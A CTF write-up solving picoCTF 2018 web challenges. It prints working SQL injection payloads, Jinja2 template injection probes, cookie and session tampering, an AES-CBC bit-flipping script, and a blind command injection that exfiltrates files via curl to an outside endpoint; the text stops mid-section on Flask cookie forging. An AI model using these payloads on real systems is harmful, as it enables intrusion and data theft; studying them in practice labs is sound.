TL;DR

This is a writeup of Pico CTF 2018 Web Challenges.

Things to Note

Read the Disclaimer before reading this post.

This post assumes that you know some basics of Web App Security and Programming in general.

All challenges are easy except the last one.

This post is huge! There might be mistakes, please let me know that I can fix em.

Introduction

Pico CTF is a beginner friendly CTF, mostly targeted at middle/high school students. Even though I’m not in mid/high school, I still play, because it’s fun and I know for a fact that I will learn something new. The game has ended and my team is at 7th rank which I’m pretty happy about. Most of the work was done by my team mates, all I could destroy was some web challenges, hence I’m sharing some knowledge. Now onto the writeup, Esketittttttttt!

Inspect Me

Challenge description

Inpect this code! http://2018shell1.picoctf.com:47428

Points: 125

Just looking at the html source code of the webpage, we find the first part of the flag

<!-- I learned HTML! Here's part 1/3 of the flag: picoCTF{ur_4_real_1nspe -->

There are 2 more files included

<link rel= "stylesheet" type= "text/css" href= "mycss.css" > <script type= "application/javascript" src= "myjs.js" ></script>

looking at these files gives us the rest of the flag

/* I learned CSS! Here's part 2/3 of the flag: ct0r_g4dget_e96dd105} */

/* I learned JavaScript! Here's part 3/3 of the flag: */ <== yes theres nothing here

If we concatenate them, we get the flag picoCTF{ur_4_real_1nspect0r_g4dget_e96dd105}

Client Side is Still Bad

Challenge description

I forgot my password again, but this time there doesn't seem to be a reset, can you help me? http://2018shell1.picoctf.com:8930

Points: 150

Looking at the source of the webpage, we see some interesting javascript

< script type = "text/javascript" > function verify () { checkpass = document . getElementById ( "pass" ). value ; split = 4 ; if ( checkpass . substring ( split * 7 , split * 8 ) == '}' ) { if ( checkpass . substring ( split * 6 , split * 7 ) == 'ebbd' ) { if ( checkpass . substring ( split * 5 , split * 6 ) == 'd_d0' ) { if ( checkpass . substring ( split * 4 , split * 5 ) == 's_ba' ) { if ( checkpass . substring ( split * 3 , split * 4 ) == 'nt_i' ) { if ( checkpass . substring ( split * 2 , split * 3 ) == 'clie' ) { if ( checkpass . substring ( split , split * 2 ) == 'CTF{' ) { if ( checkpass . substring ( 0 , split ) == 'pico' ) { alert ( "You got the flag!" ) } } } } } } } } else { alert ( "Incorrect password" ); } } < /script>

We can see our flag right there, concatenating them gives us picoCTF{client_is_bad_debbd} :)

Logon

Challenge description

I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the flag. http://2018shell1.picoctf.com:5477

Points: 150

Visiting the webpage, we see a login page, you can login as anything except admin , so logging in as a random person gives us the cookies which is used for the session. Upon looking at the cookie, we see a obvious bug, there’s a cookie named admin which is set to False , just by changing it to True logs us in as the admin , and we get the flag picoCTF{l0g1ns_ar3nt_r34l_aaaaa17a} .

Irish Name Repo

Challenge description

There is a website running at http://2018shell1.picoctf.com:59464. Do you think you can log us in? Try to see if you can login!

Points: 200

Visiting the website, we see a lot of images. There was also a login page, since this is a easy challenge, I tried some basic SQL injection, ' or 1337=1337 -- , and it worked. However if I had seen the html source of the webpage, I would’ve noticed this

<input type= "hidden" name= "debug" value= "0" >

Changing this to 1 , gives us verbose SQL output, which could be used to get the flag easily.

username: ' or 1337=1337 -- password: SQL query: SELECT * FROM users WHERE name=' ' or 1337=1337 -- ' AND password='' Logged in! Your flag is: picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}

Either way, we get the flag picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}

Mr. Robots

Challenge description

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell1.picoctf.com:40064

Points: 200

The obvious hint here is robots.txt, visiting http://2018shell1.picoctf.com:40064/robots.txt , gives us

User-agent: * Disallow: /30de1.html

and visiting http://2018shell1.picoctf.com:40064/30de1.html , gives us the flag picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_30de1} :)

No Login

Challenge description

Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell1.picoctf.com:10573

Points: 200

This one is bit of a guess work, all we have to do is add a new cookie admin and set the value to True and make a GET request to /flag , we get the flag

Request

GET /flag HTTP / 1.1 Host : 2018shell1.picoctf.com:10573 Upgrade-Insecure-Requests : 1 User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Referer : http://2018shell1.picoctf.com:10573/ Accept-Encoding : gzip, deflate Accept-Language : en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7 Cookie : admin=True Connection : close

Response

... <code> picoCTF{n0l0g0n_n0_pr0bl3m_ed714e0e} </code> ...

Since we had a similar challenge before, guessing this was easy. Anyways the flag is picoCTF{n0l0g0n_n0_pr0bl3m_ed714e0e} .

Secret Agent

Challenge description

Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell1.picoctf.com:3827

Points: 200

Visiting the website, we have a huge flag button, clicking that will give us an error

You're not google! Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

This means we need to have the user agent of a google bot to get the flag. I used Googlebot-Image/1.0 from this list.

Request

GET /flag HTTP / 1.1 Host : 2018shell1.picoctf.com:3827 Cache-Control : max-age=0 Upgrade-Insecure-Requests : 1 User-Agent : Googlebot-Image/1.0 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding : gzip, deflate Accept-Language : en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7 Cookie : _ga=GA1.2.1783269311.1539716185; _gid=GA1.2.1590262309.1539716185 Connection : close

Response

... <code> picoCTF{s3cr3t_ag3nt_m4n_12387c22} </code> ...

sweet, picoCTF{s3cr3t_ag3nt_m4n_12387c22} is out flag.

By the way our team name was Sweeet XD

Buttons

Challenge description

There is a website running at http://2018shell1.picoctf.com:44730. Try to see if you can push their buttons.

Points: 250

Visiting the website, we see a button PUSH ME! I am your only hope! , so I pushed it and it made a POST request to button1.php and this page has a message

You did it! Try the next button: [Button2]

So it said that everything was right and we have another button, I clicked on it, this time it made a GET request to button2.php , and we are immediately redirected to /boo.html which has a ACCESS DENIED message and a video song, ummmm, you might’ve guessed it, it’s this one. YES I got rick rolled in 2018. Anyways, since we got a access denied message, I thought why not change GET to POST, because we saw that our first request worked perfectly fine, so I changed it and got the flag.

Request

POST /button2.php HTTP / 1.1 Host : 2018shell1.picoctf.com:44730 Upgrade-Insecure-Requests : 1 User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer : http://2018shell1.picoctf.com:44730/button1.php Accept-Encoding : gzip, deflate Accept-Language : en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7 Cookie : _ga=GA1.2.1783269311.1539716185; _gid=GA1.2.1590262309.1539716185 Connection : close

Response

HTTP / 1.1 200 OK Content-type : text/html; charset=UTF-8 Well done, your flag is: picoCTF{button_button_whose_got_the_button_dfe8b73c}

picoCTF{button_button_whose_got_the_button_dfe8b73c} is our flag :)

The Vault

Challenge description

There is a website running at http://2018shell1.picoctf.com:64349. Try to see if you can login!

Points: 250

This challenge is similar to Irish Name Repo , a SQL injection challenge, but this one has a small filter in place to detect SQL injection.

<?php ini_set ( 'error_reporting' , E_ALL ); ini_set ( 'display_errors' , 'On' ); include "config.php" ; $con = new SQLite3 ( $database_file ); $username = $_POST [ "username" ]; $password = $_POST [ "password" ]; $debug = $_POST [ "debug" ]; $query = "SELECT 1 FROM users WHERE name=' $username ' AND password=' $password '" ; if ( intval ( $debug )) { echo "<pre>" ; echo "username: " , htmlspecialchars ( $username ), "

" ; echo "password: " , htmlspecialchars ( $password ), "

" ; echo "SQL query: " , htmlspecialchars ( $query ), "

" ; echo "</pre>" ; } //validation check $pattern = "/.*[' \" ].*OR.*/i" ; $user_match = preg_match ( $pattern , $username ); $password_match = preg_match ( $pattern , $username ); if ( $user_match + $password_match > 0 ) { echo "<h1>SQLi detected.</h1>" ; } else { $result = $con -> query ( $query ); $row = $result -> fetchArray (); if ( $row ) { echo "<h1>Logged in!</h1>" ; echo "<p>Your flag is: $FLAG </p>" ; } else { echo "<h1>Login failed.</h1>" ; } } ?>

The filter is basically a simple case insensitive regular expression match with the following pattern

<?php $pattern = "/.*[' \" ].*OR.*/i" ;

All we have to do is make sure our payload doesn’t have * or * , we can simply use and like

admin' and 3=3 --

Since admin is a valid user, we can use this payload.

But there are other ways of solving this challenge

[1] If you look closely in the php source, you’d see that $username is used twice in the matching

<?php $user_match = preg_match ( $pattern , $username ); $password_match = preg_match ( $pattern , $username );

so we can simply use the exact same payload ' or 1337=1337 -- from Irish Name Repo and use it in password field instead of the username .

[2] Since both username and password fields are vulnerable to SQL injection, we can use multiline comments to bypass this filter.

Request

POST /login.php HTTP / 1.1 Host : 2018shell1.picoctf.com:64349 Content-Length : 44 Cache-Control : max-age=0 Origin : http://2018shell1.picoctf.com:64349 Upgrade-Insecure-Requests : 1 Content-Type : application/x-www-form-urlencoded User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer : http://2018shell1.picoctf.com:64349/ Accept-Encoding : gzip, deflate Accept-Language : en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7 Cookie : _ga=GA1.2.1783269311.1539716185; _gid=GA1.2.1590262309.1539716185 Connection : close username=' /*&password=*/ or 3=3 -- &debug=1

Response

HTTP / 1.1 200 OK Content-type : text/html; charset=UTF-8 <pre> username: ' /* password: */ or 1=1 -- SQL query: SELECT 1 FROM users WHERE name='' /*' AND password='*/ or 3=3 -- ' </pre><h1> Logged in! </h1><p> Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258} </p>

Either way, the flag is picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258} .

Artisinal Handcrafted HTTP 3

Challenge description

We found a hidden flag server hiding behind a proxy, but the proxy has some... _interesting_ ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell1.picoctf.com 27936, and use the proxy to send HTTP requests to `flag.local`. We've also recovered a username and a password for you to use on the login page: `realbusinessuser`/`potoooooooo`.

Points: 300

This challenge requires you to craft a HTTP request by hand, Automation is prevented using a captcha that looks like this

socketseven@pico-2018-shell-1:~$ nc 2018shell1.picoctf.com 27936 Real Business Corp., Internal Proxy Version 2.0.7 To proceed, please solve the following captcha: _____ ___ |____ | / | ______ / / __ __ / /| | |______| \ \ \ \/ / / /_| | ______ .___/ / > < \___ | |______| \____/ /_/\_\ |_/ > 12 Validation succeeded. Commence HTTP.

If we send a simple GET request, we get bad request

Request

GET /index.html HTTP / 1.1 Connection : close

Response

HTTP / 1.1 400 Bad Request

Description of the challenge also said that we need to make a request to flag.local endpoint, so we need to specify the Host header. We can confirm this by sending a request to / .

Request

GET / HTTP / 1.1 Connection : close

Response

HTTP / 1.1 400 Missing Host header Date : Tue, 16 Oct 2018 20:39:19 GMT Connection : keep-alive Transfer-Encoding : chunked

Alright now let’s send the host header

Request

GET / HTTP / 1.1 Host : flag.local Connection : close

Response

HTTP / 1.1 200 OK x-powered-by : Express content-type : text/html; charset=utf-8 content-length : 321 etag : W/"141-LuTf9ny9p1l454tuA3Un+gDFLWo" date : Tue, 16 Oct 2018 20:42:20 GMT connection : close <html> <head> <link rel= "stylesheet" type= "text/css" href= "main.css" /> </head> <body> <header> <h1> Real Business Internal Flag Server </h1> <a href= "/login" > Login </a> </header> <main> <p> You need to log in before you can see today's flag. </p> </main> </body> </html>

As we can see there’s a /login endpoint, let’s visit that

Request

GET /login HTTP / 1.1 Host : flag.local Connection : close

Response

HTTP / 1.1 200 OK x-powered-by : Express content-type : text/html; charset=utf-8 content-length : 498 etag : W/"1f2-UE5AGAqbLVQn1qrfKFRIqanxl9I" date : Tue, 16 Oct 2018 20:44:32 GMT connection : close <html> <head> <link rel= "stylesheet" type= "text/css" href= "main.css" /> </head> <body> <header> <h1> Real Business Internal Flag Server </h1> <a href= "/login" > Login </a> </header> <main> <h2> Log In </h2> <form method= "POST" action= "login" > <input type= "text" name= "user" placeholder= "Username" /> <input type= "password" name= "pass" placeholder= "Password" /> <input type= "submit" /> </form> </main> </body> </html>

From the form above, we can make a POST request to /login with the username and password provided in the description, so let’s do that

Request

POST /login HTTP / 1.1 Host : flag.local Content-Type : application/x-www-form-urlencoded Content-Length : 38 Connection : close user=realbusinessuser&pass=potoooooooo

Response

HTTP / 1.1 302 Found x-powered-by : Express set-cookie : real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/ location : / vary : Accept content-type : text/plain; charset=utf-8 content-length : 23 date : Tue, 16 Oct 2018 20:55:26 GMT connection : close Found. Redirecting to /

As we can see, we get a cookie, let’s use this cookie and see if we could get the flag

Request

GET / HTTP / 1.1 Host : flag.local Cookie : real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Connection : close

Response

HTTP / 1.1 200 OK x-powered-by : Express content-type : text/html; charset=utf-8 content-length : 438 etag : W/"1b6-bgxSS92CBVm1uJx+NK7DdppIBp8" date : Tue, 16 Oct 2018 20:57:27 GMT connection : close <html> <head> <link rel= "stylesheet" type= "text/css" href= "main.css" /> </head> <body> <header> <h1> Real Business Internal Flag Server </h1> <div class= "user" > Real Business Employee </div> <a href= "/logout" > Logout </a> </header> <main> <p> Hello <b> Real Business Employee </b> ! Today's flag is: <code> picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f} </code> . </p> </main> </body> </html>

There we go, picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f} is our flag :)

Flaskcards

Challenge description

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

Points: 350

The title hints that the web app is written in Python Flask framework. As usual, I tried all the obvious bugs like XSS, SQLi, CSRF, IDOR, and others, didn’t have luck with these ones, but since Flask uses Jinja2 as Server Side Template Language, I tried to test for Server Side Template Injection. The web app had register form, I registered an account and logged into it. I had the option to create questions and answers, and I could view them in another page. Since I was testing for SSTI, I injected a simple payload in question and answer input fields.

{{ 7 * 7 }}

and the response had

Question:49 Answer:49

This confirms that 7 * 7 was executed, so now to confirm that the Server Side Template Language is infact jinja2, I tested the following

{{ 7 * '7' }}

and the response had

Question:7777777 Answer:7777777

This test confirms that it’s infact jinja2. So now the first thing I usually do is check out config .

{{ config.items() }}

and the response had

Question:[('DEBUG', False), ('SESSION_COOKIE_NAME', 'session'), ('SQLALCHEMY_MAX_OVERFLOW', None), ('TESTING', False), ('JSON_SORT_KEYS', True), ('SESSION_COOKIE_SAMESITE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SQLALCHEMY_RECORD_QUERIES', None), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('ENV', 'production'), ('APPLICATION_ROOT', '/'), ('SERVER_NAME', None), ('BOOTSTRAP_USE_MINIFIED', True), ('BOOTSTRAP_CDN_FORCE_SSL', False), ('SQLALCHEMY_DATABASE_URI', 'sqlite://'), ('SESSION_COOKIE_PATH', None), ('BOOTSTRAP_SERVE_LOCAL', False), ('SESSION_REFRESH_EACH_REQUEST', True), ('SESSION_COOKIE_HTTPONLY', True), ('PROPAGATE_EXCEPTIONS', None), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31),), ('EXPLAIN_TEMPLATE_LOADING', False), ('SQLALCHEMY_POOL_RECYCLE', None), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SESSION_COOKIE_SECURE', False), ('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_e8a55760}'), ('TRAP_BAD_REQUEST_ERRORS', None), ('MAX_COOKIE_SIZE', 4093), ('JSONIFY_MIMETYPE', 'application/json'), ('PREFERRED_URL_SCHEME', 'http'), ('BOOTSTRAP_QUERYSTRING_REVVING', True), ('USE_X_SENDFILE', False), ('SQLALCHEMY_BINDS', None), ('JSON_AS_ASCII', True), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SQLALCHEMY_ECHO', False), ('TRAP_HTTP_EXCEPTIONS', False), ('TEMPLATES_AUTO_RELOAD', None), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_POOL_SIZE', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200),), ('MAX_CONTENT_LENGTH', None), ('SESSION_COOKIE_DOMAIN', False), ('BOOTSTRAP_LOCAL_SUBDOMAIN', None)]) Answer:<same as question>

As we can see there’s a ‘SECRET_KEY’ attribute, which has the value picoCTF{secret_keys_to_the_kingdom_e8a55760} which is our flag :)

{{ config['SECRET_KEY'] }}

picoCTF{secret_keys_to_the_kingdom_e8a55760}

fancy-alive-monitoring

Challenge description

One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell1.picoctf.com:31070 ?

Points: 400

We are given the source of the web page which looks like this

<html> <head> <title> Monitoring Tool </title> <script> function check (){ ip = document . getElementById ( "ip" ). value ; chk = ip . match ( /^ \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} $/ ); if ( ! chk ) { alert ( "Wrong IP format." ); return false ; } else { document . getElementById ( "monitor" ). submit (); } } </script> </head> <body> <h1> Monitoring Tool ver 0.1 </h1> <form id= "monitor" action= "index.php" method= "post" onsubmit= "return false;" > <p> Input IP address of the target host <input id= "ip" name= "ip" type= "text" > </p> <input type= "button" value= "Go!" onclick= "check()" > </form> <hr> <?php $ip = $_POST [ "ip" ]; if ( $ip ) { // super fancy regex check! if ( preg_match ( '/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/' , $ip )) { exec ( 'ping -c 1 ' . $ip , $cmd_result ); foreach ( $cmd_result as $str ){ if ( strpos ( $str , '100% packet loss' ) !== false ){ printf ( "<h3>Target is NOT alive.</h3>" ); break ; } else if ( strpos ( $str , ', 0% packet loss' ) !== false ){ printf ( "<h3>Target is alive.</h3>" ); break ; } } } else { echo "Wrong IP Format." ; } } ?> <hr> <a href= "index.txt" > index.php source code </a> </body> </html>

I’m ignoring the client-side validation, because it can be bypassed easily using the javascript console or a proxy.

The php code is pretty straight forward, it takes an IP address and does some regular expression matching on it and then pings it. We see the obvious bug, our input is passed to exec , so this means we can gain command injection, but first let’s look at the the regex pattern,

/^ (([ 1 - 9 ]?[ 0 - 9 ] | 1 [ 0 - 9 ]{ 2 } | 2 [ 0 - 4 ][ 0 - 9 ] | 25 [ 0 - 5 ]).){ 3 }([ 1 - 9 ]?[ 0 - 9 ] | 1 [ 0 - 9 ]{ 2 } | 2 [ 0 - 4 ][ 0 - 9 ] | 25 [ 0 - 5 ]) /

There’s a lot going on here, more on analyzing, anyways this regex match is suppose to allow only IP address in a string like 127.0.0.1 , but the problem is that the regex only checks for the beginning of a string with ^ and it doesn’t really care about what is after the match so that means we can have a valid IP string match that looks like 127.0.0.1-whatever-i-want! . Since the string which has the IP is passed to exec , we can have a classic command injection like this

127.0.0.1;ls

the payload translates to

ping -c 1 127.0.0.1;ls

So now that we have command injection, the only problem left is that this entire exploitation process is blind, that means we get our command injection but no output. To exfiltrate the output, we can use something like curl , the idea is to execute a command and pass the output to curl which makes a request containing the output to our server, and we get the output.

I created a endpoint https://liveoverflow.free.beeceptor.com , using the beeceptor service ofcourse, this let’s us see any request made to this website. Now let’s craft the payload

ping -c 1 127.0.0.1;curl https://liveoverflow.free.beeceptor.com/?output=`(ls | base64)`

The reason I used base64 is because the newlines and other special characters which break stuff can be encoded into a proper format which don’t break stuff.

aW5kZXgucGhwCmluZGV4LnR4dAp0aGUtc2VjcmV0LTE0NDUtZmxhZy50eHQKeGluZXRfc3RhcnR1Cg==

I got the response, let’s decode it

root@kali:~# echo "aW5kZXgucGhwCmluZGV4LnR4dAp0aGUtc2VjcmV0LTE0NDUtZmxhZy50eHQKeGluZXRfc3RhcnR1Cg==" | base64 -d index.php index.txt the-secret-1445-flag.txt xinet_startu

We see the secret file, let’s cat it out

ping -c 1 127.0.0.1;curl https://liveoverflow.free.beeceptor.com/?output=`(cat the-secret-1445-flag.txt | base64)`

cGljb0NURntuM3Yzcl90cnVzdF9hX2IweF9kNWE2NjMxMX0K

root@kali:/tmp/x# echo "cGljb0NURntuM3Yzcl90cnVzdF9hX2IweF9kNWE2NjMxMX0K" | base64 -d picoCTF { n3v3r_trust_a_b0x_d5a66311 }

There we go, picoCTF{n3v3r_trust_a_b0x_d5a66311} is out flag.

Secure Logon

Challenge description

Uh oh, the login page is more secure... I think. http://2018shell1.picoctf.com:56265

Points: 500

For this challenge, the source is given

from flask import Flask , render_template , request , url_for , redirect , make_response , flash import json from hashlib import md5 from base64 import b64decode from base64 import b64encode from Crypto import Random from Crypto.Cipher import AES app = Flask ( __name__ ) app . secret_key = 'seed removed' flag_value = 'flag removed' BLOCK_SIZE = 16 # Bytes pad = lambda s : s + ( BLOCK_SIZE - len ( s ) % BLOCK_SIZE ) * \ chr ( BLOCK_SIZE - len ( s ) % BLOCK_SIZE ) unpad = lambda s : s [: - ord ( s [ len ( s ) - 1 :])] @app.route ( "/" ) def main (): return render_template ( 'index.html' ) @app.route ( '/login' , methods = [ 'GET' , 'POST' ]) def login (): if request . form [ 'user' ] == 'admin' : message = "I'm sorry the admin password is super secure. You're not getting in that way." category = 'danger' flash ( message , category ) return render_template ( 'index.html' ) resp = make_response ( redirect ( "/flag" )) cookie = {} cookie [ 'password' ] = request . form [ 'password' ] cookie [ 'username' ] = request . form [ 'user' ] cookie [ 'admin' ] = 0 print ( cookie ) cookie_data = json . dumps ( cookie , sort_keys = True ) encrypted = AESCipher ( app . secret_key ) . encrypt ( cookie_data ) print ( encrypted ) resp . set_cookie ( 'cookie' , encrypted ) return resp @app.route ( '/logout' ) def logout (): resp = make_response ( redirect ( "/" )) resp . set_cookie ( 'cookie' , '' , expires = 0 ) return resp @app.route ( '/flag' , methods = [ 'GET' ]) def flag (): try : encrypted = request . cookies [ 'cookie' ] except KeyError : flash ( "Error: Please log-in again." ) return redirect ( url_for ( 'main' )) data = AESCipher ( app . secret_key ) . decrypt ( encrypted ) data = json . loads ( data ) try : check = data [ 'admin' ] except KeyError : check = 0 if check == 1 : return render_template ( 'flag.html' , value = flag_value ) flash ( "Success: You logged in! Not sure you'll be able to see the flag though." , "success" ) return render_template ( 'not-flag.html' , cookie = data ) class AESCipher : """ Usage: c = AESCipher('password').encrypt('message') m = AESCipher('password').decrypt(c) Tested under Python 3 and PyCrypto 2.6.1. """ def __init__ ( self , key ): self . key = md5 ( key . encode ( 'utf8' )) . hexdigest () def encrypt ( self , raw ): raw = pad ( raw ) iv = Random . new () . read ( AES . block_size ) cipher = AES . new ( self . key , AES . MODE_CBC , iv ) return b64encode ( iv + cipher . encrypt ( raw )) def decrypt ( self , enc ): enc = b64decode ( enc ) iv = enc [: 16 ] cipher = AES . new ( self . key , AES . MODE_CBC , iv ) return unpad ( cipher . decrypt ( enc [ 16 :])) . decode ( 'utf8' ) if __name__ == "__main__" : app . run ()

From the above source, we can determine that AES with CBC mode is used. This challenge is about bit-flipping, an attack on AES with CBC mode.

Let’s look at the challenge website and see what’s going on. Initially we are presented with a login page, you can login as anything except admin , so I tried logging in as a random user whatever with the random password whatever . After logging in, we see a message

No flag for you Cookie: {'admin': 0, 'username': 'whatever', 'password': 'whatever'}

We can clearly see that admin is set to 0 , we need to set it to 1 to get the flag, but how are we gonna do it? bit-flipping. CBC uses the previous block to genereate the next block except the first. Decryption of the each block in AES-CBC involves decrypting with the AES and performing XOR between the current block and the previous one. The idea here is to flip some bits until you see a change in the next block. Here we need to flip 0 to 1 , so we can become the admin and read the flag. In order to do this, we can bruteforce or simply flip the right byte. I’ll show you how to flip the right byte.

If you count the index of 0 in {'admin': 0, 'username': 'whatever', 'password': 'whatever'} , it’s in 11th position, we can try to flip that byte since we know what’s the cipher text and actual plaintext, we can XOR them, since XOR is a associative operation. Then XOR-ing the output again with 1 will flip the bit from 0 to 1 . By the way, the chiper text was in the actual cookie.

qVlMUD588b0qtj5q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=

I’ve used python to handle base64 encoding and bit flipping, If you don’t already know python, I highly recommend learning it.

>>> import base64 >>> ciphertext = base64 . b64decode ( 'qVlMUD588b0qtj5q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=' ) >>> print ciphertext . __repr__ () ' \xa9 YLP>| \xf1\xbd * \xb6 >j \xf6 v \x04\xd6 L \x7f\xa5 2 \x9f #tkXm \x91\x83\xde\xd0 > \x82\xd0 .9 \xee Y \x90 G} \xed u \x02 SO \xd3\xe9 &-9 \xbb\x08\xd6 C \xd3 D \x8a H \xba\xbc s \xd6 G \x88\xc2 x \xa1\xc0 } \xb1\xdd 4] \xcd\xe8 + % W \xe1 ' >>> ciphertext [ 10 ] '>'

The above shows the base64 decoded representation of the cookie. Now let’s flip it with 0 since the original value of admin is set to 0 , since XOR is associative, we can simply XOR the result with 1 to flip the byte which results in 'admin':1 .

>>> final = list ( ciphertext ) >>> final [ ' \xa9 ' , 'Y' , 'L' , 'P' , '>' , '|' , ' \xf1 ' , ' \xbd ' , '*' , ' \xb6 ' , '>' , 'j' , ' \xf6 ' , 'v' , ' \x04 ' , ' \xd6 ' , 'L' , ' \x7f ' , ' \xa5 ' , '2' , ' \x9f ' , '#' , 't' , 'k' , 'X' , 'm' , ' \x91 ' , ' \x83 ' , ' \xde ' , ' \xd0 ' , '>' , ' \x82 ' , ' \xd0 ' , '.' , '9' , ' \xee ' , 'Y' , ' \x90 ' , 'G' , '}' , ' \xed ' , 'u' , ' \x02 ' , 'S' , 'O' , ' \xd3 ' , ' \xe9 ' , '&' , '-' , '9' , ' \xbb ' , ' \x08 ' , ' \xd6 ' , 'C' , ' \xd3 ' , 'D' , ' \x8a ' , 'H' , ' \xba ' , ' \xbc ' , 's' , ' \xd6 ' , 'G' , ' \x88 ' , ' \xc2 ' , 'x' , ' \xa1 ' , ' \xc0 ' , '}' , ' \xb1 ' , ' \xdd ' , '4' , ']' , ' \xcd ' , ' \xe8 ' , '+' , ' % ' , ' ' , 'W' , ' \xe1 ' ] >>> flipped = ord ( ciphertext [ 10 ]) ^ ord ( '0' ) ^ ord ( '1' ) >>> final [ 10 ] = chr ( flipped ) >>> final = '' . join ( final ) >>> print base64 . b64encode ( final ) qVlMUD588b0qtj9q9nYE1kx / pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0 + kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV + E =

The above code flips the 11th byte from 0 to 1 and encodes it back to base64. Now let’s compare the original with the flipped one.

qVlMUD588b0qtj 5 q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E= qVlMUD588b0qtj 9 q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=

Alrighty let’s try to set this as our new cookie and make the request to /flag , doing so gives us the flag picoCTF{fl1p_4ll_th3_bit3_2efa4bf8} :)

Flaskcards Skeleton Key

Challenge description

Nice! You found out they were sending the Secret_key: 73e1f2c96e364f0cc3371c31927ed156. Now, can you find a way to log in as admin? http://2018shell1.picoctf.com:12261

Points: 600

Visiting the link, we are presented with a login form, we can register and login as a random user. Same as before, we need to be admin to read the flag and the flag exists in /admin route. This web app is written in Python Flask framework. Once we login we get a session cookie which is handled by the framework. Whenever we create a flask application, it requires a secret value that is used to sign all the cookies. The server can use this secret to check if the cookie is tampered or not using the signature. From the challenge description, we already have the secret key, all we need to do is decode the cookie, modify it so that we become admin and sign it with the secret and get the flag.

Let’s first decode the cookie and see how it looks like. We can do that by writing some code or looking it up on Flask Session Cookie Decoder.

Encoded Cookie

.eJwlj0FuwzAMBP-icw4kRdOiP2OIFIkEAVrAdk5F_x61uc_O7v6UPY8472W7jlfcyv4YZSvhpDokzVhwWFb2moYrrZneo0EHTNGxOExEnVpVG6LIRNx8UbXInlqliWa0jmkE2mDahpEBpwuvzEvWrn8F3qWB9ohpBSm34ueR-_X9jK-5h2GdYEMZSwAk_vsFkcQr1cQeQBZBM_c64_ickPL7BltTQBw.Dqh92g.6_c7VbTZRZ3pMq5C43ZlPLK5hoI

Decoded Cookie

{ "_fresh" : true , "_id" : "ec299d6fbb461dbf34c3fb1727ffcae80a01f69d5c0bb49c2839bd69142248c599befaf936869fe8a1fb2098061ddb2b04fc647445f3a9dbf3ca6809aee69d06" , "csrf_token" : "407f3a816d5e00f199bef61126c323f1ae02bee2" , "user_id" : "6" }

As we can see, there’s a user_id field and it’s set to 6 , If we change it to 1 , we might become the admin. So let’s modify the cookie. In order to modify the cookie we need to understand how flask handles cookies, so let’s dive into Flask framework. The reason we are looking at the source is to learn how the encoding and signing works, so that we can simulate the same and get the modified cookie.

Flask relys on a module called itsdangerous to handle signed data. We can see for ourselves in the source code @ line 17

from itsdangerous import BadSignature , URLSafeTimedSerializer

